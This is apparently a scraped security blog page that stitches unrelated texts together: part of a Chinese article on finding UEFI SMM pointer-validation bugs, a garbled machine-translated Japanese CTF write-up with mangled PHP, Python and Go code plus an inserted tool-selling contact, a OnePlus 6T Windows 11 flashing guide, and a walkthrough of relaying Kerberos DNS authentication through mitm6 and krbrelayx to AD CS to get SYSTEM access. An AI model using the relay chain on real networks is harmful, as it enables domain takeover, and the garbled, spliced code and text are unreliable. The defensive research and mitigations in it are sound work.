另外，一些基於AMI代碼庫的UEFI實現並沒有使用SmmIsBufferOutsideSmmValid()，而是通過一個名為AMI_SMM_BUFFER_VALIDATION_PROTORT的專用協議提供了類似的功能。除了調用函數和使用UEFI協議的語義差異之外，這兩種方法的工作方式大致相同。在下一節，我們將為讀者介紹如何將該協議的定義正確導入IDA。

1.jpg

圖19 AMI_SMM_BUFFER_VALIDATION_PROTOCOL是一種操作

檢測方法

檢測這類漏洞的基本思路是尋找不調用SmmIsBufferOutsideSmmValid()或利用等價的AMI_SMM_BUFFER_VALIDATION_PROTOCOL的SMI處理程序。然而，一些邊緣情況也必須被考慮到。如果不這樣做，可能會引入不必要的假陽性或假陰性。

對通信緩衝區本身調用SmmIsBufferOutsideSmmValid()函數：這只能保證通信緩衝區不與SMRAM重疊（詳見低址SMRAM損壞漏洞），但它對嵌套的指針沒有效果。因此，當試圖評估處理程序對rouge指針值的魯棒性時，這些情況不應該被考慮在內。

完全不使用嵌套指針。一些SMI處理程序可能不會調用SmmIsBufferOutsideSmmValid()，僅僅是因為通信緩衝區沒有保存任何嵌套指針，而是保存了其他數據類型，如整數、布爾標誌等。為了區分這種良性的情況和易受攻擊的情況，我們必須清楚了解通信緩衝區的內部佈局。

雖然這可以作為逆向工程過程的一部分手動完成，但幸運的是，如今自動類型重構已經絕非科幻小說，相反，已經存在相應的工具，並且都可以作為現成的解決方案隨時使用。對於這種類型的漏洞來說，兩個最突出和最成功的IDA插件是HexRaysPyTools和HexRaysCodeXplorer。使用這些工具中的任何一個，都可以對原始指針訪問表示法進行相應的轉換，例如：

1.jpg

圖20 使用原始CommBuffer的SMI處理器

變成更友好和更容易理解的點到成員表示法：

1.jpg

圖21 使用重構CommBuffer的SMI處理器

更重要的是，這些插件可以跟踪各個字段的訪問方式。基於訪問模式，它們完全有能力重構包含結構體的佈局，並推斷出成員的數量、大小、類型、屬性，等等。當應用於通信緩衝區時，這種方法可以幫助我們快速查找其中是否含有嵌套指針。

HireHackking

crypto

質問ラーンsm

のサイン

https://www.json.cn/encrypt/sm3 在这里插入图片描述質問には小文字が必要なので、在这里插入图片描述またはスクリプト：ハスリブのインポート

メッセージ='heidun2024'

hash_object=hashlib.new（ 'sm3'）hash_object.update（message.encode（ 'utf-8'））hash_value=hash_object.hexdigest（）

印刷（hash_value）

ソースコードとデータを保護する必要があります

PHPを使用してPHPを復号化するオンライン復号化ツール

1049983-20241008091545084-1544516962.jpg

PHPソースコードを取得します

？phpfunction my_encode（$ str、$ key）{$ re=''; $ len=strlen（$ str）; for（$ i=0; $ i $ len; $ i ++）{$ c=substr（$ str、$ i、1）; $ k=substr（$ key、（$ i％strlen（$ key））、1）; $ num=ord（$ c）+ord（$ k）; if（$ num255）$ num-=256; $ re。=chr（$ num）; } return $ re;} function my_decode（$ str、$ key）{return 'something' ' file_put_contents（ 'data_encoded.txt'、$ mi）; echo 'data_encoded.txt';}に保存されました

？phpfunction my_encode（$ str、$ key）{$ re=''; $ len=strlen（$ str）; for（$ i=0; $ i $ len; $ i ++）{$ c=substr（$ str、$ i、1）; $ k=substr（$ key、（$ i％strlen（$ key））、1）; $ num=ord（$ c）+ord（$ k）; if（$ num255）$ num-=256; $ re。=chr（$ num）; } return $ re;} function my_decode（$ str、$ key）{return 'something' ' file_put_contents（ 'data_encoded.txt'、$ mi）; echo 'data_encoded.txt';} ? phpfunction my_encode（$ str、$ key）{$ re=''; $ len=strlen（$ str）; for（$ i=0; $ i $ len; $ i ++）{$ c=substr（$ str、$ i、1）; $ k=substr（$ key、（$ i％strlen（$ key））、1）; $ num=ord（$ c）+ord（$ k）; if（$ num255）$ num-=256; $ re。=chr（$ num）; } return $ re;} function my_decode（$ str、$ key）{return 'something' ' file_put_contents（ 'data_encoded.txt'、$ mi）; echo 'data_encoded.txt';}に保存されましたか？

私は自分の部門で決定を下します

質問はデータを提供します

ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgcccndcfqfpgcgofofpdadadagrプロンプトはカスタムバイナリです。

1049983-20241008091545733-1752718154.jpg

それは大まかにaからrのアルファベット順の順序であり、1つは行方不明です。したがって、実際には11桁で、aからrは0-9 \ a-hに対応していると推測されています。ここでは使用されていません。

最後に、テスト後、各文字の2桁の電子桁電子桁の電子桁が個別にコード化され、解決策がフラグで取得されます。

crypto.util.Number Import *からOpen（ 'My Centigrade I'm the Master.txt'）as file3: dat=file.readline（）print（）print（dat.encode（）。hex（））print（dat）print（len（dat））co=0 print（i、end=''）co+=1print（）print（co）chls='abcdefghijklmnopqr'myo=' 0123456789abcdefgh'ct=dict（zip（chls、myo））print print（ct）decdat='' .join（ 'for i in dat for i in dat） 18の範囲（0、len（decdat）、2）: tmp=decdat [i: i +2] res=int（tmp、jinzhi）flag +=chr（res）print（f '{tmp}、{res}、{chr（res）} jinzhi）print（flag2）print（long_to_bytes（flag2））s

1049983-20241008091546391-954442558.jpg

フラグ{heidun18jinzhi666}

ソースコードとデータを保護する必要があります

質問説明：困難なPHP、困難なフラグ。

添付ファイルのPHPファイルは暗号化されており、ひび割れする必要があります。 http://www.zhaoyuanma.com/zym.htmlなどのオンラインクラッキングプラットフォームを使用するか、独自のPHP環境を構築し、PHPビースト拡張モジュールをインストールし、PHPソースコードをデバッグモードで復元できます。 （モジュールはデフォルトキーで使用できます）ソースコードは暗号化関数を書き込みましたが、復号化関数は書かれていません。

1049983-20241008091547075-918034358.jpg

Plantextフラグを取得するには、TXTファイルを復号化するには、復号化関数を自分で記述する必要があります。復号化コードを参照してください。

1049983-20241008091547925-1102002824.jpg

Misc

ロゴ

LSB Steganographyが調べた、ZSTEGは直接在这里插入图片描述 Stegsolveを使用しても大丈夫です、B0チャンネル在这里插入图片描述サンプルを変更しましたが、私の質問が変更されたかどうかはわかりません。これを見ると、base64テーブルの交換を直接考えることができます在这里插入图片描述

エンコードテーブルが正しくないことがわかりました。これが不完全なテーブルの理由である可能性があります。 XYZから始まるので、XLSであることがわかったときにAbcdefghijklmnopqrstuvw 在这里插入图片描述

Officeを学ぶ

を追加しました。私はそれが非表示になる可能性があることがわかりました。在这里插入图片描述はフラグの列を見て、マクロ暗号化を促しました。私のWPSはマクロ操作を実行できないため、Windowsのオフィスに変更して、ビューでマクロを見つけました。在这里插入图片描述ただし、フラグの文字順はフィルター機能をソートせず、フィルターコンピューターの結果は下降しています。在这里插入图片描述抽出旗文字image-20240622123941465

私はQRコードではありません

在这里插入图片描述はQRコードのように見えますが、それでも00000001111111111111111111111111111111111111111年になります。ツールを購入したい場合は、Penguin 97766819 1049983-20241008091601552-1840568348.png 在这里插入图片描述 在这里插入图片描述 QRコード在这里插入图片描述を取得した後、それを特定した後、パスワードを取得しました。私は長い間それをやっています。ファイル名のキーとオフセットだと思います。また、ファイル名在这里插入图片描述 :0101010imgのキーを作成するための古いルーチンでもあります。写真の最後を確認し、文字列を見つけますxyzabcdefghijklmnopqrstuvwxyz0123456789+/w9i4woeejay7un/hv8u/wt870tq2j6xjkel=完全なbase64テーブルにスプレインし、デコードされたように脱化しますflagxyzabcdefghijklmnopqrstuvwxyz0123456789+/abcdefghijklmnopqrstuvw 1049983-20241008091608756-359250761.jpg

1049983-20241008091609506-357426260.jpg

SMTPフローの追跡

1049983-20241008091610589-2126389979.jpg

1049983-20241008091611517-615518589.jpg

base64電子メール本体をデコードしてテキスト情報を取得し、料理人をHTML出力に保存します。

1049983-20241008091612221-1030756767.jpg

添付ファイルをダウンロードして、暗号化されたDocxドキュメントを見つけます。パスワードは質問者のQQ番号です。

1049983-20241008091612843-236564809.jpg

このページは、WUに比較するように促し、彼がQQ番号217778のコミュニケーショングループの所有者であることを発見しました。

復号化は最終結果になります。

1049983-20241008091613540-1190630996.jpg

フラグ{baodaheidunchutiren}

私は私の心を変えました、そして私は私を知りませんでした

この質問では、go's github.com/tjfoc/gmsm/x509ライブラリを使用して、フラグを暗号化して出力します。公開キーと秘密鍵はすべてソースコードにあります。

1049983-20241008091614269-2079140518.jpg

したがって、復号化はライブラリで復号化のために直接使用されます。その中で、ReadPrivateKeyFrompem関数は、ソースコードで指定された秘密鍵が暗号化されていないため、秘密キーパスワードとして2番目のパラメーターPWDを渡す必要があるため、nilに渡すだけで十分です。

パッケージmainimport（ 'crypto/rand' _ 'embed' 'github.com/tjfoc/gmsm/x509')type encryptcontroller struct {} func encrypt（plaintext [] byte）[] byte {publickeyfrompem、err :=x509.ReadPublicFuffromec（PUB） ciphertext、err :=publickeyfrompem.encryptasn1（plantext、rand.reader）if err！=nil {panic（err）} return ciphertext} func decrypt（plaintext [] byte）[] byte {privatekeyfrompem、err 3360=x509.readpribatekeykeyfrompem panic（err）} ciphertext、err :=privatekeyfrompem.decryptasn1（plaintext）if err！=nil {panic（err）} return ciphertext} var pub=[] byte（ `-----開始public公開key ----- mfkwewyhkozizj0caqyikoecz1ubgi0dqgaie3xqu+awsgmeqnsvflwusdnjxpkjcsid+xllucj3ukfgmlii/lz2fs3gje4o6pgxzewiizz4eb4b4bbrd1xx1xxkrleq===upubl key ---- `）var pri=[] byte（` -----プライベートを開始しますkey --- migtageambmgbyqgsm49agegccqbhm9vayitbhkwdwibaqgglnntszvhlqswzukwz2cwsfscni8lqm0sssss0kvh8doxg+gcgyikoec Z1UBGI2HRANCAATFGQ74DBKCZ5CEXV+XBRIOEPE+SMJKIP7GWVQINDSR8AYSGJ8TNYVLEAL7IJO8ZDKRAIHNPH5VHUT3XGVESUV5 ---- END秘密キー---- `）func main（）{cs :=[] byte {48、125、2、33、0、238、212、154、134、255、91、109、210、231、242、184、9、103、26、30、241、93、242、68、119、148、21、148、218、218、218、218、241、175、148、148、148、148、148、 3、152、63、85、82、2、32、2、156、154、131、146、194、242、200、19、109、209、151、90、252、165、49、247、141、208、219、117、226、91、113、113、225、225、33、162、162、162、87、49、49、49、49、49、49、49、68 16、18、177、119、110、74、6、147、235、85、0、61、4、43、107、207、249、37、195、141、141、23、244、159、235、159、169、243、160、37、4、4、20、179、67、236、236、121、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、13 197、214、34、63、138、237、247、166、117、246、210} flag :=decrypt（cs）res :=string（flag）println（res）}フラグヘッダーを追加して実際のフラグを取得します。

フラグ{this_is_a_p

HireHackking

0x00 前言Android滲透平台搭建的系列文章第二篇，介紹Android設備OnePlus6T上安裝Win11操作系統的方法，記錄細節。

測試設備：OnePlus 6T 10g+256g 邁凱倫

簡單理解：採用驍龍845處理器的手機設備能夠安裝Arm版的Win11

完整資料：https://renegade-project.cn/#/README

參考資料：

http://www.oneplusbbs.com/thread-4446250-1.html

https://forum.renegade-project.org/t/6-windows/194

https://www.bilibili.com/video/BV1kM4y137bR

https://silime.gitee.io/2021/05/20/Windows10-on-arm64/

https://baijiahao.baidu.com/s?id=1721563590612500439wfr=spiderfor=pc

0x01 簡介本文將要介紹以下內容：

深度刷機的方法

安裝Win11的準備

安裝Win11的方法

0x02 深度刷機的方法這裡把深度刷機放在第一部分，是因為在刷機過程中很容易黑磚，只能通過深度刷機進行還原

在刷機過程中，錯誤的操作有可能導致手機無法開機，即9008 download模式，即常說的黑磚

這時只能通過深度刷機的方法重新刷入系統，也就是常說的救磚

救磚教程參考資料：http://www.oneplusbbs.com/thread-4446250-1.html

1.下載文件在救磚教程中提供的網盤進行下載

(1)9008驅動

網盤中的高通9008驅動（推薦）.exe

(2)線刷救磚包

OnePlus 6T邁凱倫定製版有專用的救磚包，網盤中提供的邁凱倫救磚包是氧OS版，後續還需要升級成氫OS

(3)一加萬能工具包

如果無法識別OnePlus 6T，可以安裝一加萬能工具包- 驅動安裝- 黑磚驅動

(4)氫OS系統安裝包

文件列表如下圖

32248cbfef1073ee244c309280d3b33.png

2.安裝9008驅動運行高通9008驅動（推薦）.exe

3.安裝底層驅動(1)在Windows系統打開設備管理器，位置：我的電腦-右鍵-管理，在計算機管理中選擇設備管理器

(2)OnePlus 6T在關機狀態下，同時按住音量+和音量-不放，通過USB數據線將OnePlus 6T連接Windows系統

等待Windows系統自動安裝驅動

在設備管理器中，查看”端口（COM和LPT）”，如果出現Qualcomm HS-USB QDLoader 9008（COM3）代表底層驅動安裝成功，如下圖

7cb03b8be5c8b3b8111276f5edd0fa8.png

(3)管理員身份運行MsmDownloadTool V4.0.exe

如下圖

7bf48519930d73be4ace5123ea5ee3d.png

點擊Start開始刷機，如下圖

c34845ce4b6c4fc6a9ec48273cb4f2d.png

等待一段時間，刷機成功，如下圖

ab8975133c552824319f4441f1950dc.png

OnePlus 6T會自動開機，進行初始化，默認安裝氧OS

4.刷入氫OS網盤中提供的邁凱倫救磚包是氧OS版，需要刷成氫OS，可以使用OnePlus 6T內置的本地升級功能

(1)將OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip複製到OnePlus 6T的根目錄

(2)在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級，選擇OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip

等待升級完成，點擊重啟手機

5.升級氫OS Android 10在OnePlus 6T上依次選擇設置- 系統- 系統更新，進行在線升級

在線升級後，最新版本為Android 11，在安裝Win11之前我們先需要降級到Android 10，可以採用以下方法進行降級：

下載降級包：https://download.h2os.com/OnePlus6T/Back/OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip

在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級，選擇OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip

補充：官方OnePlus 6T系統安裝包的下載地址：

https://www.oneplus.com/cn/support/softwareupgrade/details?code=PM1574150307705

注：

我也考慮過在氫OS Android 9進行卡刷直接升級到OS Android 10的方法和在氫OS Android 11進行卡刷直接降級到OS Android 10的方法，但是這兩種方法我在測試過程中失敗了，都是因為無法通過Bootloader模式安裝TWRP

0x03 安裝Win11的準備Windows系統只需要配置adb和fastboot，然後是一些文件的下載

1.adb和fastboot需要下載到Windows系統並配置環境變量

這裡可以選擇一鍵下載配置，下載地址：https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118

運行adb-setup-1.4.3.exe按照提示即可

2.TWRP下載下載頁面：https://twrp.me/oneplus/oneplus6t.html

下載地址：

https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img

https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip

下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip

twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP，twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP

3.parted下載Linux下的分區工具

源碼下載地址：https://alpha.gnu.org/gnu/parted/parted-3.3.52.tar.xz

需要手動編譯

也可以下載編譯好的文件：https://pwdx.lanzoux.com/iUgSEmkrlmh

下載得到文件parted

4.驅動下載項目頁面:https://github.com/edk2-porting/WOA-Drivers

一加6T的下載地址：https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz

下載得到文件fajita.tar.gz

5.UEFI固件下載項目地址：https://github.com/edk2-porting/edk2-sdm845

一加6T的下載地址：https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img

下載得到文件boot-fajita-10g.img

6.Win11鏡像下載下載arm版的Win11鏡像文件，解壓後將sources\install.wim複製提取出來

最終得到文件install.wim

7.Dism++下載項目地址：https://github.com/Chuyu-Team/Dism-Multi-language

下載地址：https://github.com/Chuyu-Team/Dism-Multi-language/releases/download/v10.1.1002.1/Dism++10.1.1002.1.zip

解壓縮得到文件夾Dism++10.1.1002.1

8.WinPE 下載在參考資料中的百度網盤中下載

解壓縮後的文件列表如下：

boot文件夾

efi文件夾

sources文件夾

bootmgr.efi文件

0x04 安裝Win11的方法1.解鎖Bootloader注：

解鎖Bootloader將擦除Android系統的所有數據

(1)啟動開發者選項

打開OnePlus 6T，依次選擇設置- 關於手機，多次點擊版本號可啟動開發者模式

(2)修改手機設置

依次選擇設置- 系統- 開發者選項，打開OEM解鎖、USB調試和高級重啟

按住電源鍵，選擇引導加載器，進入Bootloader模式，此時DEVICE STATE狀態為locked

(3)連接設備

通過USB數據線將OnePlus 6T連接Windows系統

(4)解鎖

Windows系統的命令行執行：

fastbootoemunlockOnePlus 6T用音量+選擇yes，按電源鍵進行確認

至此，解鎖完成。

解鎖操作將會清空所有數據，此時需要重新啟動開發者模式，打開USB調試和高級重啟

解鎖後每次開機會出現提示The bootloader is unlocked

2.刷入TWRP(1)進入Bootloader模式

在關機狀態下，同時按住電源鍵和音量-

也可以在開機狀態下，按住電源鍵，選擇引導加載器，進入Bootloader模式

此時DEVICE STATE狀態為unlocked

(2)連接設備

通過USB數據線將OnePlus 6T連接Windows系統

通過Windows系統命令行查看設備：

fastbootdevices能夠獲得回顯

(3)刷入TWRP

Windows系統的命令行執行：

fastbootboottwrp-3.6.1_9-0-fajita.img如下圖

fc7c97805c5a92c2a784eaeba8ad08f.png

等待OnePlus 6T啟動TWRP

3.分區進入TWRP後，將parted複製到OnePlus 6T的根目錄，將twrp-installer-3.6.1_9-0-fajita.zip複製到OnePlus 6T的根目錄

在TWRP中，安裝twrp-installer-3.6.1_9-0-fajita.zip，這是為了方便以後在進入Recovery模式會自動啟動TWRP

在TWRP中，選擇Reboot - Recovery，重新進入Recovery模式

此時可選擇兩種方式運行parted進行分區：

(1)通過Windows的命令行執行

adbshell

cp/sdcard/parted/sbin/

chmod755/sbin/parted

umount/dataumount/sdcard

parted/dev/block/sda(2)在OnePlus 6T的TWRP中直接操作

依次選擇Advanced - Terminal

cp/sdcard/parted/sbin/

chmod755/sbin/parted

umount/dataumount/sdcard

parted/dev/block/sda執行cp /sdcard/parted /sbin/的原因是因為在執行umount /sdcard後，無法訪問/sdcard下的文件

查看分區：

(parted)p刪除分區userdata：

(parted)rm17創建分區：

(parted)mkpartespfat326559MB7000MB

(parted)mkpartpefat327000MB17000MB

(parted)mkpartwinntfs17000MB200GB

(parted)mkpartuserdataext4200GB246GB我的環境下，esp對應的分區號為17，對應的命令如下:

(parted)set17espon在TWRP中，選擇Reboot - Recovery

4.格式化重新進入Recovery後依次選擇Advanced - Terminal，命令如下：

mkfs.fat-F32-s1/dev/block/by-name/pe

mkfs.fat-F32-s1/dev/block/by-name/esp

mkfs.ntfs-f/dev/block/by-name/win

mke2fs-text4/dev/block/by-name/userdata在TWRP中，選擇Reboot - Recovery，重新進入Recovery模式

5.掛載PE重新進入Recovery後，將以下文件複製到手機中：

install.wim，Win11 ISO文件中的sources\install.wim

boot，解壓自winpe

efi，解壓自winpe

sources，解壓自winpe

bootmgr.efi，解壓自winpe

Dism++10.1.1002.1

fajita，解壓自https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz

boot-fajita-10g.img，下載自https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img

文件如下圖

b0ddd6b3f270b56d8164fd12f1f4db7.png

注：

手機使用fat32格式，無法直接複製大於4G的文件，可以選擇將其複製到U盤中

選擇Advanced - Terminal，將文件複製到PE分區的命令如下：

mount/dev/block/by-name/pe/mnt

cp-r/sdcard/*/mnt6.切換分區，選擇Slot B在TWRP中，選擇Reboot - SlotB

7.啟動PE在TWRP中，選擇Install - Install Image - /mnt/boot-fajita-10g.img，刷入鏡像的分區選擇Boot

手機重啟後進入PE系統，在手機上接入鍵盤、鼠標和U盤

8.安裝Win11打開PE中的C:\Dism++10.1.1002.1\Dism++ARM64.exe

在Dism++的頁面，依次選擇文件- 釋放鏡像

第一個參數設置為install.wim

第二個參數安裝路徑設置為D盤

勾選添加引導

點擊確定

釋放完畢後需要修復引導，依次選擇工具箱- 修復引導

9.安裝Win11驅動在Dism++的頁面，依次選擇打開會話- 驅動管理- 添加驅動，選擇fajita文件夾即可

10.設置盤符我的環境下，esp對應的分區號為17，在PE中的CMD輸入以下命令：

diskpart

selectdisk0

listpart

selectpart17

assignletter=Y

exit打開Y盤確認是否成功創建文件夾EFI

11.關閉簽名驗證關閉簽名的命令如下：

bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}testsigningon

bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}nointegritycheckson關閉PE系統:

shutdown-s-t012.進入Win11按電源鍵進行開機，等待安裝即可

補充1：Win11切換至Android

開機時按音量+，選擇UEFI BootMenu，再選擇Reboot to other slot

補充2：Android切換至Win11

進入Recovery模式，在TWRP中，選擇Reboot - SlotB

0x05 小結本文介紹了在OnePlus6T上安裝Win11的完整方法。

HireHackking

最近James Forshaw發表的關於Kerberos中繼的博客推翻了以前不能中繼Kerberos的結論。其中介紹了一些技巧，可以將Windows身份驗證轉換為不同的服務主體名(Service Principal Name, SPN)，而不是通常從客戶機連接的主機名派生出來的服務主體名，這意味著Kerberos並非如我所設想的那樣是完全可靠的。這促使我去尋找一些其他的濫用途徑，包括我在幾年前研究過但從未付諸實踐的做法——中繼DNS認證。當你能夠使用mitm6通過DHCPv6欺騙來欺騙DNS服務器時，這一點尤其重要。在這個場景中，你可以使用Kerberos和它們的設備帳戶對受害設備進行可靠的身份驗證。這種身份驗證可以中繼到任何不強制執行完整性的服務，例如Active Directory證書服務(AD CS)基於http(s)的註冊，這反過來使它可以在該主機上以SYSTEM的形式執行代碼，正如我在AD CS中繼的博客中討論的那樣。與用mitm6中繼WPAD身份驗證相比，這種技術更快、更可靠、侵入性更小，但當然需要使用AD CS。這個博客描述了這項技術的背景，以及我對krbrelayx所做的更改，以便這次能夠支持真實的Kerberos中繼。

基於DNS 的Kerberos如果你熟悉Kerberos，就會知道DNS是擁有一個工作的Kerberos基礎設施的關鍵組件。但是你知道Active Directory中的DNS也支持使用Kerberos通過DNS進行身份驗證的操作嗎?這是“安全動態更新”操作的一部分，該操作用於保持動態地址的網絡客戶端的DNS記錄與其當前IP地址同步。下圖顯示了動態更新過程中涉及的步驟：

1.png

步驟如下（按照上面的數據包從上到下）。在此交換中，客戶端是Windows 10 工作站，服務器是一個具有DNS角色的域控制器。

客戶機在起始授權機構(SOA)記錄中查詢它的名稱，這表明客戶機所在的域的哪個服務器是授權的。

服務器響應授權的DNS服務器，在本例中是DC icorp-dc.internal.corp。

客戶端嘗試在區域internal.corp 中使用其名稱對A 記錄進行動態更新。

這個動態更新被服務器拒絕，因為沒有提供身份驗證。

客戶端使用TKEY 查詢來協商經過身份驗證的查詢的密鑰。

服務器以TKEY 資源記錄作為回复，完成身份驗證。

客戶端再次發送動態更新，但現在伴隨著TSIG記錄，這是使用步驟5和6中建立的密鑰的簽名。

服務器確認動態更新，新的DNS記錄現在已經就位。

讓我們仔細看看步驟5和步驟6，TKEY查詢實際上是通過TCP發送的，因為它比UDP允許的最大512字節大很多。這主要是因為TKEY的附加記錄相當大，它包含了我們經常看到的Kerberos認證結構：

2.png

事實證明，此查詢包含完整的GSSAPI 和SPNEGO 結構，其中包含Kerberos AP-REQ。這本質上是對服務的正常Kerberos 身份驗證流程。回复再次包含一個GSSAPI 和SPNEGO 結構，指示認證成功，並使用AP-REP 回复。這個AP-REP包含一個新的會話密鑰，客戶端可以使用它來通過TSIG記錄對他們的DNS查詢簽名。請注意，encAPRepPart通常是用只有客戶機和服務器知道的會話密鑰加密的，但是因為我將測試域中各種系統的Kerberos密鑰加載到Wireshark接受的keytab中，所以我們可以對整個交換進行解密，以查看它包含什麼內容。

3.png

此流程的概念相當簡單（實際的實現並不簡單）。客戶機使用Kerberos進行身份驗證並安全地交換會話密鑰，然後使用該會話密鑰對進一步的更新查詢進行簽名。服務器可以存儲密鑰和經過身份驗證的用戶/計算機，並以一種經過身份驗證的方式處理更新，而不必將身份驗證綁定到特定的TCP套接字，因為稍後的查詢可能通過UDP發送。

濫用DNS身份驗證如果我們能夠攔截DNS查詢，那麼就有可能欺騙受害客戶端，讓其向我們發送真實DNS服務器的Kerberos票據。這種攔截可以在默認的Windows配置中由同一(V)LAN中的任何系統使用mitm6完成。 mitm6將自己宣傳為DNS服務器，這意味著受害者將把SOA發送到我們的假服務器，如果我們拒絕它們的動態更新，則使用Kerberos進行身份驗證。這就有點棘手了。通常，DNS服務器角色將在域控制器上運行。因此，DNS服務的服務票據已經適合於運行在DC上的服務，因為它們使用相同的帳戶，我們可以在票據中更改服務名稱。這意味著我們可以將此票據中繼到例如LDAP。然而，如果我們仔細查看TKEY查詢中的驗證器，我們會看到請求完整性（簽名）的標誌被設置了。

4.png

這將自動觸發LDAP簽名，這將使整個攻擊失敗，因為如果不對每條消息提供有效的加密簽名，我們就不能在之後與LDAP交互。我們無法生成此簽名，因為我們中繼了身份驗證，並且實際上並不擁有解密服務票據和提取會話密鑰所需的Kerberos密鑰。

這最初讓我碰壁有兩個原因：

當時，沒有任何已知的默認高值服務可以接受設置了完整性標誌的身份驗證，但不會在協議級別上強制它。

客戶端專門請求他們在其Kerberos 票證請求中使用的SPN 中的“dns”服務類。此SPN 僅在實際的DNS 服務器上設置，因此要中繼到的合法主機的數量非常少。

在閱讀了James的博客後，我重新審視了這個問題：

由於AD CS研究由Lee Christensen和Will Schroeder發表，我們在大多數AD環境中都有一個高價值的端口，並提供了在受害者身上執行代碼的可能性，正如我在上一篇關於AD CS中繼的博客中所描述的那樣。

正如James在他的博客中所描述的，許多服務類實際上會隱式地映射到HOST類。事實證明，這包括DNS，因此當受害者請求DNS服務的票據時，這實際上適用於任何帶有HOST SPN的帳戶。默認情況下，這是在域中的所有計算機帳戶上設置的，因此可以針對在這些帳戶下運行的任何服務。

解決了這兩個問題後，我們就可以將在偽DNS服務器上接收到的Kerberos身份驗證轉發到AD CS。當這一切完成後，我們可以為我們中繼的計算機帳戶請求證書，並使用NT哈希恢復技術或S4U2Self技巧。使用這些技術，我們可以獲得對受害計算機的SYSTEM訪問權限，只要AD CS http端口可用來中繼，這就有效地使其成為可靠的RCE。

對krbrelayx 和mitm6 的更改最初，krbrelayx並不是一種真正的中繼工具。相反，它通過使用不受約束的委託配置(系統)帳戶來捕獲Kerberos tgt，並且以與ntlmrelayx相同的方式使用這些tgt可以使用傳入NTLM身份驗證。由於現在有一個實際中轉Kerberos身份驗證的用例，所以我更新了krbrelayx中的功能，使其能夠在中轉模式而不是不受約束的委託模式下運行。如果你不指定任何NT哈希值或AES密鑰(這些密鑰可用於從傳入的Kerberos身份驗證中提取信息)，那麼它實際上將默認使用這種模式。簡而言之，現在可以使用krbrelayx中繼Kerberos身份驗證，儘管只支持中繼到HTTP和LDAP。至於mitm6，我已經添加了指定中繼目標的選項，當受害者詢問查詢SOA記錄時，該目標將是授權命名服務器響應中的主機名。這將使受害者為我們的目標服務而不是合法的DNS服務器請求Kerberos服務票據。

需要注意的一點是，當目標AD CS服務器不是受害者用於Kerberos操作的DC時，這種方法最有效。如果它們在同一主機上(例如在小型或實驗室環境中)，目標服務器同時是KDC和AD CS服務器，則可能導致受害者向你而不是DC發送Kerberos票據請求(TGS-REQ)。雖然你可以代理此流量，但這超出了本項目的範圍，你可能最終得不到任何身份驗證數據。

我們還得克服最後一個障礙。 Kerberos AP-REQ實際上並沒有告訴我們正在進行身份驗證的是哪個用戶，這只是在Authenticator的加密部分中指定的。所以我們不知道哪個用戶或設備帳戶正在向我們驗證。幸運的是，在默認的AD CS模板場景中，這實際上並不重要，因為這些場景允許將任何名稱指定為CN，而且無論如何它都會被Active Directory中的名稱覆蓋。但是，為了獲得最好的結果，我建議你在使用mitm6時將攻擊範圍限定在一台主機上，並在krbrelayx中使用—victim指定該主機名，這樣它就能正確地填寫字段。

攻擊示例讓我們看看這在實踐中是怎樣的。首先，我們設置krbrelayx，指定AD CS主機(在實際示例中為adscert.internal.corp)作為目標，並指定接口的IPv4地址作為綁定DNS服務器的接口。這可以防止與通常在例如Ubuntu 上偵聽環回適配器的DNS 服務器發生衝突。

5.png

然後我們設置mitm6，使用AD CS主機的名稱作為中繼目標：

6.png

我們等待受害者獲得IPv6 地址並連接到我們的惡意服務器：

7.png

屏幕截圖顯示，受害者試圖更新他們的DNS記錄，我們拒絕這樣做，因為缺乏認證。認證通過TCP發送給krbrelayx的DNS服務器，DNS服務器接受並轉發給AD CS：

8.png

我們看到了預期的流程：

9.png

受害者(192.168.111.73)查詢其主機名的SOA記錄。

我們指出我們的惡意DNS服務器是權威的名稱服務器，受害者將向其發送動態更新查詢。

該查詢被mitm6拒絕，這將表明受害者需要驗證他們的查詢。

客戶機與KDC對話，以獲得我們所指示的服務的Kerberos票據。

客戶端建立到krbrelayx的TCP連接，並發送包含Kerberos票據的TKEY查詢。

該票據被轉發到AD CS主機，從而導致我們的認證成功並頒發證書。

有了這個證書，我們可以使用PKINITtools(或Windows上的Rubeus)使用Kerberos進行認證，並模擬一個域管理員來訪問我們的受害者(在本例中是icorp-w10)：

10.png

使用smbclient.py，我們可以列出C驅動器，以證明我們有管理員訪問權限：

11.png

緩解措施此技術濫用Windows 和Active Directory 中的不安全默認設置。這裡的主要問題是Windows對IPv6的偏好，以及AD CS web應用程序的默認安全問題。這些問題可以通過以下方法加以緩解：

緩解mitm6mitm6 濫用了這樣一個事實，即使在僅IPv4 的環境中，Windows 也會查詢IPv6 地址。如果你在內部不使用IPv6，防止mitm6 的最安全方法是通過組策略在Windows 防火牆中阻止DHCPv6 流量和傳入路由器發布。完全禁用IPv6 可能會產生不必要的副作用。將以下預定義規則設置為阻止而不是允許可防止攻擊起作用：

（入站）核心網絡——IPv6 的動態主機配置協議（DHCPV6-In）；

（入站）核心網絡——路由器發布(ICMPv6-In)；

（出站）核心網絡——IPv6 的動態主機配置協議（DHCPV6-Out）；

